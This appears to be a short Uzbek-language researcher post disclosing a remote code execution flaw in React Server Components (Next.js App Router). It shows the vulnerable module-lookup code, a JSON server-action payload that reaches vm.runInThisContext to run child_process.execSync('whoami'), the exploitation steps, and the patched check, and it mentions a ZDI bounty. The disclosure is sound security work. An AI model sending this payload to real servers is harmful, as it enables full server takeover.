React 19.0.0 - 19.2.0
Next.js 15.x va 16.x (App Router)
Server Components ishlatadigan barcha loyihalar

function requireModule(metadata) {
  const moduleExports = require(metadata[0]);
  return moduleExports[metadata[2]]; // prototype chain ga kiradi
}

const vm = require('vm');
vm.hasOwnProperty('runInThisContext'); // false
vm['runInThisContext']; // lekin accessible! ❌

{
  "$ACTION_REF_0": "",
  "$ACTION_0:0": {
    "id": "vm#runInThisContext",
    "bound": ["require('child_process').execSync('whoami').toString()"]
  }
}

1.vm module'ni load qiladi
2.vm['runInThisContext'] prototype orqali olinadi
3.Attacker'ning code'i argument sifatida bind .bo'ladi
4.Execute bo'lganda vm.runInThisContext() malicious code'ni ishga tushiradi
5.RCE achieved - server butunlay compromised

function requireModule(metadata) {
  const moduleExports = require(metadata[0]);
  
  if (!hasOwnProperty.call(moduleExports, metadata[2])) {
    throw new Error('Export not found');
  }
  
  return moduleExports[metadata[2]];
}

Zero Day Initiative (ZDI) — Trend Micro tomonidan yuritiladigan, dunyodagi eng yirik va nufuzli vulnerability research dasturlaridan biri. Ushbu dastur mustaqil xavfsizlik tadqiqotchilari (researcherlar) tomonidan topilgan zero-day va kritik zaifliklarni sotib oladi, ularni ishlab chiqaruvchi (vendor) bilan hamkorlikda yopilishini ta’minlaydi va foydalanuvchilar xavfsizligini oshiradi.

Shu dastur orqali topgan zaifligim ZDI laboratoriyasida to‘liq tekshirilib, tasdiqlandi va rasmiy ravishda qabul qilindi. Natijada bounty oldim va ZDI researcher sifatida tan olindim.